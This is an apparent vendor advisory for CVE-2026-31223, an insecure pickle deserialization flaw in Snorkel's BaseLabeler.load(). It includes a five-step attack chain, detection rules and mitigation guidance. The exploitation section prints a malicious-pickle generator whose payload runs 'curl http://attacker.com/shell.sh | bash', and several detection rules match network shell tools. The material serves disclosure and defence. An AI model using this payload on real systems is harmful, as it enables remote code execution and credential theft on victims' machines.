CVE-2026-31223
Executive Summary
CVE-2026-31223 is a critical insecure deserialization vulnerability in the Snorkel library (versions through 0.10.0), specifically in the BaseLabeler.load() method of the BaseLabeler class. The method deserializes labeler models using Python's unsafe pickle.load() function on user-supplied file paths without validation, enabling arbitrary code execution on any system that processes a malicious pickle file. Affected are all organizations using Snorkel for programmatic data labeling or weak supervision workflows, particularly those in data science pipelines where model artifacts are shared or retrieved from untrusted sources. With a CVSS score of 8.8 (High severity) and EPSS probability of 0.392%, successful exploitation results in full system compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in Snorkel's BaseLabeler.load() method, a class-level method used to restore serialized labeler models. The method signature accepts a file path and passes it directly to Python's pickle.load(). Python's pickle module, while convenient for object serialization, is fundamentally unsafe for untrusted data because the pickle protocol implements an opcode-based virtual machine (pickle machine) that can execute arbitrary Python bytecode during deserialization. This is not a theoretical concern — the pickle module's documentation explicitly warns that it should never be used on untrusted data.
The vulnerable code path is triggered when a user calls BaseLabeler.load('path/to/model.pkl'). The method opens the specified file and invokes pickle.load() on the file object. Because pickle trusts the serialized stream entirely, a carefully crafted pickle file can specify opcodes such as REDUCE, GLOBAL, or BUILD to execute arbitrary functions with attacker-controlled arguments. The most common exploitation primitive is the __reduce__ magic method pattern, where a class definition overrides __reduce__ to return a callable and its arguments that the pickle machine will invoke upon deserialization.
The attack surface is broadened by Snorkel's typical usage patterns. Data science teams frequently share labeler models as pickle artifacts through internal file shares, cloud storage buckets (S3, Azure Blob), Jupyter notebook kernels, or MLOps artifact registries. Any workflow that loads a labeler from a path derived from user input, external configuration, or a shared artifact repository is exploitable. Additionally, since the method uses a file path (not a network endpoint directly), the vulnerability is exploitable via any mechanism that delivers a malicious pickle file to a victim — including phishing attachments, malicious model registries, poisoned training datasets, or supply chain attacks on ML artifacts.
The vulnerability severity is amplified by the fact that it affects the BaseLabeler class specifically, which serves as the foundation for all labelers in the Snorkel ecosystem. This includes LabelModel, MajorityLabelVoter, and custom labeler subclasses. Any code derived from or invoking BaseLabeler.load() inherits the flawed deserialization behavior, making this a systemic issue within the library, not an isolated code path.
Exploitation Scenarios
Attack Chain: Poisoned Model Artifact → RCE
The following scenario assumes the victim operates a Snorkel-based data labeling pipeline and retrieves labeler models from a shared artifact repository (e.g., internal MLOps registry, AWS S3 bucket, or Git LFS).
Step 1 — Reconnaissance & Targeting: The attacker identifies organizations using Snorkel by scanning public code repositories for references to BaseLabeler.load(), LabelModel.load(), or snorkel.labeling imports. They also monitor ML-related job postings, conference talks, and open-source contributions. Public artifact repositories (PyPI, HuggingFace Hub, GitHub Releases) are scraped for Snorkel pickle artifacts.
Step 2 — Weaponization: The attacker crafts a malicious pickle file. Using Python's pickle module directly, they construct a payload that executes a reverse shell or drops a backdoor. A minimal example:
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = pickle.dumps(Exploit())
with open('labeler_model.pkl', 'wb') as f:
f.write(payload)
The resulting file is a valid pickle stream that, when loaded, invokes os.system() with the attacker's command. The attacker can also craft payloads using subprocess.call, pty.spawn, or base64-encoded Python pickle opcodes to evade simple string-based detection.
Step 3 — Payload Delivery: The attacker uploads the malicious pickle to a public or semi-public repository commonly used by the victim organization (e.g., an S3 bucket with lax permissions, a shared drive, or a GitHub repo). Alternatively, the attacker sends it directly to a data scientist via a spear-phishing email, disguised as a model export from a collaborator. If the target uses JupyterLab or a similar environment, the attacker could also trigger the download via a malicious notebook URL.
Step 4 — Execution: When the victim runs code that loads the model:
from snorkel.labeling import BaseLabeler
labeler = BaseLabeler.load('labeler_model.pkl')
The load() method invokes pickle.load() on the file, the malicious __reduce__ opcodes execute, and the attacker's command runs with the privileges of the user executing the Python process. In typical data science environments, this means full user-level access, including credentials for databases, cloud APIs, and data lake access stored in envioronment variables or local config files.
Step 5 — Post-Exploitation: The attacker establishes persistence (cron job, systemd service, SSH key injection), pivots to connected infrastructure (database servers, data warehouses, Kubernetes clusters), and exfiltrates sensitive data. In MLOps environments, the attacker can poison training data, manipulate model outputs, or use compromised GPU nodes for cryptocurrency mining.
Impact Assessment
CVSS Breakdown: The CVSS score of 8.8 (High) reflects the following: Attack Vector = Network (AV:N) — the malicious pickle can be delivered remotely; Attack Complexity = Low (AC:L) — no specialized conditions needed; Privileges Required = None (PR:N); User Interaction = Required (UI:R) — a user must invoke load() on the malicious file; Confidentiality, Integrity, Availability = High (C:I:H/A:H) — arbitrary code execution enables full data theft, data corruption, and service disruption.
Business Impact: Successful exploitation results in full system compromise of the victim's workstation or server. In enterprise environments, data science workstations are often connected to production data stores, model serving infrastructure, and cloud environments with elevated IAM permissions. A successful attack can lead to: (1) exfiltration of proprietary training data, PII, or financial records; (2) injection of backdoored models into production ML pipelines; (3) lateral movement into broader corporate network; (4) financial fraud through manipulated predictions (e.g., credit scoring models). The blast radius extends beyond the immediate host to any resource the compromised user can access.
Affected Systems: All Snorkel versions ≤ 0.10.0 are affected. Systems are at risk if they: (a) load labeler models from untrusted sources; (b) share pickle artifacts internally; (c) use automated pipelines that ingest models from external registries. Given Snorkel's popularity in the data labeling field (used by major tech companies and research institutions), the potential exposure is significant.
Detection Guidance
Sigma Rule
title: Snorkel BaseLabeler.load Insecure Deserialization Attempt
id: cve-2026-31223-snorkel-pickle-rce
status: experimental
description: Detects attempts to load Snorkel labeler models via pickle.load(), which may indicate exploitation of CVE-2026-31223.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-31223
author: Valtersit Threat Intelligence
date: 2026/02/15
tags:
- attack.t1203
- attack.privilege_escalation
- cve.2026.31223
logsource:
category: process_creation
product: linux
detection:
selection_pickle_load:
Image|endswith: '/python'
CommandLine|contains:
- 'pickle.load'
- 'BaseLabeler.load'
selection_file_extension:
CommandLine|contains:
- '.pkl'
- '.pickle'
condition: selection_pickle_load and selection_file_extension
falsepositives:
- Legitimate use of Snorkel to load trusted labeler models
level: high
YARA Rule
rule CVE_2026_31223_Snorkel_Malicious_Pickle
{
meta:
author = "Valtersit Threat Intelligence"
description = "Detects malicious pickle files crafted to exploit CVE-2026-31223 in Snorkel BaseLabeler.load()"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-31223"
date = "2026-02-15"
score = 85
strings:
$opcode_reduce = { 52 00 } // REDUCE opcode (0x52)
$opcode_global = { 63 00 } // GLOBAL opcode (0x63)
$opcode_build = { 62 00 } // BUILD opcode (0x62)
$os_system = "os.system"
$subprocess_call = "subprocess.call"
$pty_spawn = "pty.spawn"
$reverse_shell = "bash" ascii
$network_util = "curl" ascii
condition:
any of ($opcode_*) and (any of ($os_system, $subprocess_call, $pty_spawn) or any of ($reverse_shell, $network_util))
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-31223 - Snorkel Malicious Pickle Download Attempt"; flow:established,to_client; content:".pkl"; http.header_names; content:"Content-Type"; http.header_names; pcre:"/\.pkl$/Ui"; sid:2026312231; rev:1; metadata:attack_target Client_Endpoint, created_at 2026_02_15, cve CVE-2026-31223, deployment Perimeter, signature_severity Critical, tag RCE;)
alert smtp any any -> any any (msg:"CVE-2026-31223 - Snorkel Pickle Attachment Phishing"; flow:established,to_client; content:"filename"; nocase; content:".pkl"; nocase; sid:2026312232; rev:1; metadata:attack_target Client_Endpoint, created_at 2026_02_15, cve CVE-2026-31223, deployment Perimeter, signature_severity Critical, tag Phishing;)
Elastic Detection
sequence by host.name with maxspan=30s
[process where event.type == "start" and process.name == "python" and
process.args in ("*.pkl", "*.pickle") and
process.args == "*BaseLabeler.load*"]
[file where event.action == "open" and file.extension in ("pkl", "pickle") and
file.path : "*labeler*"]
Splunk SPL Query
index=main sourcetype=linux_process
| where process_name="python"
| regex command_line="(?i).*(pickle\.load|BaseLabeler\.load).*\.(pkl|pickle).*"
| table _time, host, user, process_name, command_line, parent_process_name
| stats count by host, user, command_line
Wazuh OSSEC Rule
<group name="python,snorkel,">
<rule id="100312" level="12">
<decoded_as>syslog</decoded_as>
<field name="command">(?i).*pickle\.load.*</field>
<field name="command">(?i).*BaseLabeler\.load.*</field>
<description>CVE-2026-31223: Snorkel BaseLabeler.load unsafely invoking pickle.load for model deserialization</description>
<mitre>
<id>T1203</id>
</mitre>
<group>attack.privilege_escalation,pci_dss_6.5.1,</group>
</rule>
<rule id="100313" level="14">
<decoded_as>syslog</decoded_as>
<field name="command">(?i).*(\.pkl|\.pickle).*</field>
<match>curl|wget|nc |bash</match>
<description>CVE-2026-31223: Snorkel pickle load followed by network exec command — potential RCE</description>
<mitre>
<id>T1203</id>
</mitre>
<group>attack.privilege_escalation,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence Assessment: The patch claim is rated 2/4 (CLAIMED) — only a single source (OSV) reports a fix, and the specific fixed version is not yet confirmed. Until verified, treat all Snorkel versions ≤ 0.10.0 as vulnerable.
Immediate Mitigations (1-3 days):
- Disable model loading from untrusted paths: Implement a wrapper that validates file integrity (SHA-256 hash allowlist) before invoking
BaseLabeler.load(). Reject any file not on the approved list. - Sandbox the loading process: Isolate all Snorkel labeler loading into a container or VM with minimal privileges. Use Docker with a read-only root filesystem, no network capability, and a non-root user.
- Monitor for malicious pickle signatures: Deploy the Sigma, YARA, and Splunk rules above in your SIEM and EDR solutions.
- Restrict file shares: Ensure S3 buckets, Azure Blob containers, and network shares containing model artifacts have strict IAM policies with no public access.
Patch/Upgrade Steps:
- Monitor OSV and the Snorkel GitHub repository for the official patch release. The fix will likely replace
pickle.load()with a safe deserialization library such assafetensors(for tensors) or JSON/Protobuf based serialization with explicit schema validation. - Once a patched version is confirmed, upgrade via
pip install snorkel --upgradeand verify the version withpip show snorkel. - Until the official patch release: Consider forking the library and replacing
pickle.load()with an allowlist-based unpickler (e.g., usingpickle.Unpickler.find_classoverridden to whitelist onlysnorkelclasses).
Long-Term Hardening:
- Adopt safe serialization formats: For any ML project, replace pickle with
safetensors, ONNX, or JSON/MessagePack schemas. These are inherently safe against code injection. - Implement artifact signing: Digitally sign all model artifacts. Verify signatures before loading.
- Principle of least privilege: Ensure data science workstations and ML pipeline execution environments have minimal credentials. Use service accounts with short-lived tokens and no broad cloud IAM permissions.
- Supply chain security: Use dependency scanning tools (Snyk, Dependabot, Trivy) to flag vulnerable Snorkel versions in CI/CD pipelines.
- User training: Educate data scientists on the dangers of pickle and require security review for any new model artifact sources.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-31223 — Official NVD vulnerability record with CVSS score and description.
- OSV Advisory: https://osv.dev/vulnerability/CVE-2026-31223 — The single source currently claiming a patch exists; monitor for updates.
- Python Pickle Module Documentation: https://docs.python.org/3/library/pickle.html — Official documentation warning about the dangers of deserializing untrusted data, the root cause of this CVE.
- Snorkel GitHub Repository: https://github.com/snorkel-team/snorkel — Monitor for the official security patch release and subsequent versions.
- CWE-502 Reference: https://cwe.mitre.org/data/definitions/502.html — MITRE CWE entry for Deserialization of Untrusted Data, the vulnerability class this CVE falls under.
Threat Actor Intelligence: As of this report's publication, there are no publicly reported in-the-wild exploitation campaigns, CISA KEV entries, or known threat actor groups specifically targeting this CVE. The EPSS score of 0.392% indicates a low known exploitation probability. However, this CVE is part of a larger pattern of ML supply chain attacks and pickle deserialization exploits that have been increasingly targeted by attackers since 2024. The lack of public exploit code does not preclude the existence of private exploits in use by well-resourced adversaries.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.